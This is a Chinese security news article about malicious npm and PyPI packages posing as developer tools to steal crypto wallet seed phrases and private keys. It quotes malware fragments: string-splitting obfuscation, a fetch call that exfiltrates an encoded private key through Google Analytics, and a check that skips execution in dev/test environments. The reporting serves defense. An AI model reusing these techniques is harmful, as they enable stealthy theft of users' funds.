对于开源社区而言,出现了一个令人担忧的情况:在 npm 和 PyPI 代码库中发现了多个恶意软件包,它们伪装成合法的开发者工具,却在暗中窃取加密货币钱包的凭据。
这些恶意软件包累计已被下载了数千次,它们采用了复杂的技术手段,从不曾怀疑的开发者和用户那里盗取敏感信息。
其中,npm 上的恶意软件包包括 react-native-scrollpageviewtest,自 2021 年发布以来,它已被下载了 1215 次。在 PyPI 上有两个恶意软件包 ——web3x 和 herewalletbot,自 2024 年发布以来,它们分别获得了 3405 次和 3425 次的下载量。
从表面上看,这些软件包似乎提供了有用的功能:react-native-scrollpageviewtest 将自己伪装成一个页面滚动工具,web3x 声称可以检查以太坊的余额,而 herewalletbot 则号称能够自动化钱包交互操作。
Socket.dev 的研究人员发现,在这些软件包看似无害的外表背后,它们包含着专门为提取加密货币钱包凭据(包括助记词种子短语和私钥)而设计的恶意代码。
研究人员指出,这些软件包采用了多种数据泄露方法,将盗取的凭据传输给威胁行为者。其中,react-native-scrollpageviewtest 使用Google Analytics 作为其数据泄露渠道,而 PyPI 上的软件包则利用了 Telegram 机器人。
这些恶意软件包的影响远不止于即时的凭据窃取。当威胁行为者获取了受害者的助记词种子短语或私钥后,他们就能完全控制所有相关的加密货币资产,这往往会导致不可挽回的经济损失。
一位 Reddit 用户报告称,在与 herewalletbot 交互后,“我所有的余额都没了,我的钱包里原本大约有 3 枚 HOT 币和 0.1 枚 NEAR 币。”
尽管这些软件包存在恶意行为,但它们在各自的代码库中仍公开存在了数月之久,这凸显了软件供应链中存在的漏洞,而这些漏洞正不断被威胁行为者所利用。
通过 Google Analytics 进行复杂的数据泄露
react-native-scrollpageviewtest 软件包展示了在凭据窃取和数据泄露方面尤为复杂的技术手段。
该恶意软件采用了多种方法来逃避检测,其中包括使用字符串拆分来绕过基本的模式匹配:
const bu = require(‘b’ + ‘u’ + ‘f’ + ‘f’ + ‘e’ + ‘r’).Buffer;
在提取了敏感的钱包信息后,该软件包会在对被盗数据进行 Base64 编码并传输到 Google Analytics 之前,为其添加一个随机前缀进行编码:
const line = “v=1&tid=UA-215070146-1&cid=” + stg +
“&t=pageview&dt=” + ec + “&dl=” + ecy(priv) + “\n”;fetch(‘https://www.google-analytics.com/collect’, {
method:’POST’, body: line, headers:{‘Content-Type’:’text/plain’}});
这种数据泄露技术尤为阴险,因为在企业环境中,Google Analytics 的域名通常会被列入白名单,这使得恶意流量能够绕过安全控制。
威胁行为者重新利用合法的分析基础设施来接收被盗取的凭据,而这些凭据在他们的 Google Analytics 仪表板上显示为普通的页面浏览数据。
该软件包还实施了条件检查,以避免在开发环境中执行代码,并使用本地存储来防止重复的数据泄露,这进一步降低了被检测到的可能性:
if (!__DEV__ || eqx(darw) || darw.startsWith(‘1234’)) {
return; // 避免在开发/测试环境中执行}
这些发现表明,进行全面的依赖项扫描至关重要,同时,无论一个应用程序表面上看起来多么合法,永远不要与任何应用程序共享种子短语或私钥,这是一项基本的安全措施。
发表评论
您还未登录,请先登录。
登录